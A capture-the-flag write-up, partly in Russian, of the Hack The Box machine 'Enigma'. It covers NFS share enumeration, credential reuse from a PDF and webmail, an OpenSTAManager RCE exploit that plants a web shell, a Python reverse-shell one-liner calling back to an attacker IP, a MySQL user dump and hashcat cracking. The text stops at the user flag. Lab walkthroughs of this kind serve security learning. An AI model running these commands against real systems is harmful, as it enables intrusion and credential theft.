Write-up машины Enigma (HTB). Корпоративная инфраструктура: NFS exposure → Webmail recon → OpenSTAManager RCE (CVE-2026-38751) → прескалация до root через Command Injection в OliveTin API. Полный гайд с скриншотами и объяснением логики.
We connect to the HTB VPN and run a full port scan:
nmap -sC -sV -Pn 10.129.115.67
Scan results:
- 22/tcp — OpenSSH 9.6p1 Ubuntu
- 80/tcp — nginx 1.24.0 (редирект на http://enigma.htb/)
- 110/tcp — Dovecot pop3d
- 111/tcp — rpcbind / NFS
- 143/tcp — Dovecot imapd
- 2049/tcp — nfs_acl
- 993/tcp — imaps
- 995/tcp — pop3s


We detect an open NFS service. We check the available exports:
showmount -e enigma.htb
We find the available share /srv/nfs/onboarding. We mount it locally:
sudo mkdir /mount
sudo mount -t nfs enigma.htb:/srv/nfs/onboarding /mount
ls /mount
In the share we find the PDF file New_Employee_Access.pdf. We convert it to text:
pdftotext New_Employee_Access.pdf
cat New_Employee_Access.txt
Data found:
- Сотрудник: Kevin Mitchell
- Webmail URL: http://mail001.enigma.htb
- Username: kevin
- Password: Enigma2024!


Add the domains to /etc/hosts:
echo "10.129.115.67 enigma.htb mail001.enigma.htb" >> /etc/hosts

We navigate to mail001.enigma.htb and log in as the user kevin.
![[ENIGMA WRITEUP/img/6.png]]

In the Inbox folder we find a welcome email from Sarah (Accounts Dept). We also discover a correspondence thread on the subject "Re: OpenSTAManager Access Request", where IT support provides temporary access:
- URL: http://support_001.enigma.htb
- Username: admin
- Password: Ne3s4rtars78s

We navigate to support_001.enigma.htb. We see the OpenSTAManager v2.9.8 control panel. We check the info.php page to confirm the version. We search for exploits:
searchsploit openstamanager
We find CVE-2026-38751 (RCE Exploit).


We download the exploit and run it with the discovered credentials:
./OpenSTAManager-RCE-Exploit-CVE-2026-38751 -u http://support_001.enigma.htb -U admin -P Ne3s4rtars78s
The exploit successfully uploads a web shell at the path /modules/shell/shell.php. Verifying RCE:
http://support_001.enigma.htb/modules/shell/shell.php?c=whoami
Ответ: www-data


We start a listener and obtain a reverse connection via a Python payload (since bash did not work):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.235",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Analyzing the application configuration file:
cat config.inc.php
Находим credentials от MySQL:
- User: brollin
- Pass: Fri3nds@9099
Подключаемся к базе данных и дампим таблицу пользователей zz_users:
mysql -u brollin -p'Fri3nds@9099'
use openstamanager;
select * from zz_users;
We obtain the password hash of user haris. We crack it using hashcat:
hashcat -m 3200 '$2y$10$WHf1T...' /usr/share/wordlists/rockyou.txt
Пароль: bestfriends
Switch to the haris user:
su haris
Password: bestfriends
Reading the user flag.





